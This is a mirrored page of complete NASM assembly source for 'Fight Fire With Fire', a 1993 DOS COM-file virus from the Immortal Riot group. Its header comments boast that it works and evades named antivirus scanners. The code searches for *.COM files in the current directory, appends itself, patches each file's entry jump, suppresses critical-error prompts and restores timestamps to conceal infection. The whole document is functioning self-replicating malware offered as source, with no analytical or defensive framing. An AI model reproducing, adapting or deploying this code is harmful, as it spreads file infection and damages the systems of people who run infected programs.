mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-30 19:02:32 +00:00
256 lines
8.5 KiB
NASM
256 lines
8.5 KiB
NASM
|
; VirusName: Fight Fire With Fire
|
|||
|
|
; Country : Sweden
|
|||
|
|
; Author : Metal Militia / Immortal Riot
|
|||
|
|
; Date : 07-22-1993
|
|||
|
|
;
|
|||
|
|
; This is an mutation of 7th-son from 'Unknown'.
|
|||
|
|
; Many thanks to the scratch coder of 7th-son.
|
|||
|
|
;
|
|||
|
|
; We've tried this virus ourself, and it works just fine.
|
|||
|
|
; Non-overwriting, adds 473 to any comfile over 1701 bytes,
|
|||
|
|
; in current directory. No bugs have been reported.
|
|||
|
|
; Originally from the Netherlands, in 1991.
|
|||
|
|
;
|
|||
|
|
; This is the second real mutation of 7th-son.
|
|||
|
|
;
|
|||
|
|
; McAfee Scan v105 can't find it, and
|
|||
|
|
; S&S Toolkit 6.5 don't find it either.
|
|||
|
|
;
|
|||
|
|
; I haven't tried with scanners like Fprot/Tbscan,
|
|||
|
|
; but they will probably report some virus structure.
|
|||
|
|
;
|
|||
|
|
; Best Regards : [Metal Militia]
|
|||
|
|
; [The Unforgiven]
|
|||
|
|
|
|||
|
|
cseg segment
|
|||
|
|
assume cs:cseg,ds:cseg,es:cseg,ss:cseg
|
|||
|
|
|
|||
|
|
FILELEN equ quit - start
|
|||
|
|
MINTARGET equ 1701 ; MINIMUM bytes of file to infect
|
|||
|
|
MAXTARGET equ -(FILELEN+40h) ; MAX bytes of file to infect
|
|||
|
|
|
|||
|
|
org 100h
|
|||
|
|
|
|||
|
|
.RADIX 16
|
|||
|
|
|
|||
|
|
|
|||
|
|
;****************************************************************************
|
|||
|
|
;* Dummy program (infected)
|
|||
|
|
;****************************************************************************
|
|||
|
|
|
|||
|
|
begin: db 5Dh
|
|||
|
|
jmp start
|
|||
|
|
|
|||
|
|
|
|||
|
|
;****************************************************************************
|
|||
|
|
;* Begin of the virus
|
|||
|
|
;****************************************************************************
|
|||
|
|
|
|||
|
|
start: call start2
|
|||
|
|
start2: pop bp
|
|||
|
|
push cs
|
|||
|
|
sub bp,0103h
|
|||
|
|
|
|||
|
|
lea si,[bp+offset begbuf-4] ;restore begin of file
|
|||
|
|
mov di,0100h
|
|||
|
|
movsw
|
|||
|
|
movsw
|
|||
|
|
|
|||
|
|
mov ax,3300h ;get ctrl-break flag
|
|||
|
|
int 21
|
|||
|
|
push dx
|
|||
|
|
|
|||
|
|
xor dl,dl ;clear the flag
|
|||
|
|
mov ax,3301h
|
|||
|
|
int 21
|
|||
|
|
|
|||
|
|
mov ax,3524h ;get int24 vector
|
|||
|
|
int 21
|
|||
|
|
push bx
|
|||
|
|
push es
|
|||
|
|
|
|||
|
|
mov dx,offset ni24 - 4 ;set new int24 vector
|
|||
|
|
add dx,bp
|
|||
|
|
mov ax,2524h
|
|||
|
|
int 21
|
|||
|
|
|
|||
|
|
lea dx,[bp+offset quit] ;set new DTA adres
|
|||
|
|
mov ah,1Ah
|
|||
|
|
int 21
|
|||
|
|
add dx,1Eh
|
|||
|
|
mov word ptr [bp+offset nameptr-4],dx
|
|||
|
|
|
|||
|
|
lea si,[bp+offset grandfather-4] ;check generation
|
|||
|
|
cmp [si],0808h
|
|||
|
|
jne verder
|
|||
|
|
|
|||
|
|
lea dx,[bp+offset sontxt-4] ;9th son of a 9th son!
|
|||
|
|
mov ah,09h
|
|||
|
|
int 21
|
|||
|
|
|
|||
|
|
verder: mov ax,[si] ;update generations
|
|||
|
|
xchg ah,al
|
|||
|
|
xor al,al
|
|||
|
|
mov [si],ax
|
|||
|
|
|
|||
|
|
lea dx,[bp+offset filename-4] ;find first COM-file
|
|||
|
|
xor cx,cx
|
|||
|
|
mov ah,4Eh
|
|||
|
|
int 21
|
|||
|
|
|
|||
|
|
infloop: mov dx,word ptr [bp+offset nameptr-4]
|
|||
|
|
call infect
|
|||
|
|
|
|||
|
|
mov ah,4Fh ;find next file
|
|||
|
|
int 21
|
|||
|
|
jnc infloop
|
|||
|
|
|
|||
|
|
pop ds ;restore int24 vector
|
|||
|
|
pop dx
|
|||
|
|
mov ax,2524h
|
|||
|
|
int 21
|
|||
|
|
|
|||
|
|
pop dx ;restore ctrl-break flag
|
|||
|
|
mov ax,3301h
|
|||
|
|
int 21
|
|||
|
|
|
|||
|
|
push cs
|
|||
|
|
push cs
|
|||
|
|
pop ds
|
|||
|
|
pop es
|
|||
|
|
mov ax,0100h ;put old start-adres on stack
|
|||
|
|
push ax
|
|||
|
|
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
|
|||
|
|
;****************************************************************************
|
|||
|
|
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
|
|||
|
|
;****************************************************************************
|
|||
|
|
|
|||
|
|
infect: cld
|
|||
|
|
|
|||
|
|
mov ax,4300h ;ask attributes
|
|||
|
|
int 21
|
|||
|
|
push cx
|
|||
|
|
|
|||
|
|
xor cx,cx ;clear flags
|
|||
|
|
call setattr
|
|||
|
|
jc return1
|
|||
|
|
|
|||
|
|
mov ax,3D02h ;open the file
|
|||
|
|
int 21
|
|||
|
|
jc return1
|
|||
|
|
xchg bx,ax
|
|||
|
|
|
|||
|
|
mov ax,5700h ;get file date & time
|
|||
|
|
int 21
|
|||
|
|
push cx
|
|||
|
|
push dx
|
|||
|
|
|
|||
|
|
mov cx,4 ;read begin of file
|
|||
|
|
lea dx,[bp+offset begbuf-4]
|
|||
|
|
mov ah,3fh
|
|||
|
|
int 21
|
|||
|
|
|
|||
|
|
mov al,byte ptr [bp+begbuf-4] ;already infected?
|
|||
|
|
cmp al,5Dh
|
|||
|
|
je return2
|
|||
|
|
cmp al,5Ah ;or a weird EXE?
|
|||
|
|
je return2
|
|||
|
|
|
|||
|
|
call endptr ;get file-length
|
|||
|
|
|
|||
|
|
cmp ax,MAXTARGET ;check length of file
|
|||
|
|
jnb return2
|
|||
|
|
cmp ax,MINTARGET
|
|||
|
|
jbe return2
|
|||
|
|
|
|||
|
|
push ax
|
|||
|
|
mov cx,FILELEN ;write program to end of file
|
|||
|
|
lea dx,[bp+offset start-4]
|
|||
|
|
mov ah,40h
|
|||
|
|
int 21
|
|||
|
|
cmp ax,cx ;are all bytes written?
|
|||
|
|
pop ax
|
|||
|
|
jnz return2
|
|||
|
|
|
|||
|
|
sub ax,4 ;calculate new start-adres
|
|||
|
|
mov word ptr [bp+newbeg-2],ax
|
|||
|
|
|
|||
|
|
call beginptr ;write new begin of file
|
|||
|
|
mov cx,4
|
|||
|
|
lea dx,[bp+offset newbeg-4]
|
|||
|
|
mov ah,40h
|
|||
|
|
int 21
|
|||
|
|
|
|||
|
|
inc byte ptr [si] ;number of next son
|
|||
|
|
|
|||
|
|
return2: pop dx ;restore file date & time
|
|||
|
|
pop cx
|
|||
|
|
mov ax,5701h
|
|||
|
|
int 21
|
|||
|
|
|
|||
|
|
mov ah,3Eh ;close the file
|
|||
|
|
int 21
|
|||
|
|
|
|||
|
|
return1: pop cx ;restore file-attribute
|
|||
|
|
; call setattr
|
|||
|
|
|
|||
|
|
; ret
|
|||
|
|
|
|||
|
|
|
|||
|
|
;****************************************************************************
|
|||
|
|
;* Changes file-attributes
|
|||
|
|
;****************************************************************************
|
|||
|
|
|
|||
|
|
setattr: mov dx,word ptr [bp+offset nameptr-4]
|
|||
|
|
mov ax,4301h
|
|||
|
|
int 21
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
|
|||
|
|
;****************************************************************************
|
|||
|
|
;* Subroutines for file-pointer
|
|||
|
|
;****************************************************************************
|
|||
|
|
|
|||
|
|
beginptr: mov ax,4200h ;go to begin of file
|
|||
|
|
jmp short ptrvrdr
|
|||
|
|
|
|||
|
|
endptr: mov ax,4202h ;go to end of file
|
|||
|
|
ptrvrdr: xor cx,cx
|
|||
|
|
xor dx,dx
|
|||
|
|
int 21
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
|
|||
|
|
;****************************************************************************
|
|||
|
|
;* Interupt handler 24
|
|||
|
|
;****************************************************************************
|
|||
|
|
|
|||
|
|
ni24: mov al,03
|
|||
|
|
iret
|
|||
|
|
|
|||
|
|
|
|||
|
|
;****************************************************************************
|
|||
|
|
;* Data
|
|||
|
|
;****************************************************************************
|
|||
|
|
|
|||
|
|
begbuf db 0CDh, 20h, 0, 0
|
|||
|
|
newbeg db 5Dh, 0E9h, 0, 0
|
|||
|
|
nameptr dw ?
|
|||
|
|
sontxt db 'Fight Fire With Fire...',0Dh, 0Ah, '$' ;printed after
|
|||
|
|
grandfather db 0 ;XX infections
|
|||
|
|
father db 0
|
|||
|
|
filename db '*.COM',0 ; File(s) to infect
|
|||
|
|
db 'Soon to fill our lungs the hot winds of death '
|
|||
|
|
db 'The gods are laughing, so take your last breath '
|
|||
|
|
db '<27>]`x <00> u <00> '
|
|||
|
|
db 'Immortal Riot..Death Greets me warm..'
|
|||
|
|
|
|||
|
|
quit:
|
|||
|
|
|
|||
|
|
cseg ends
|
|||
|
|
end begin
|
|||
|
|
|
|||
|
|
|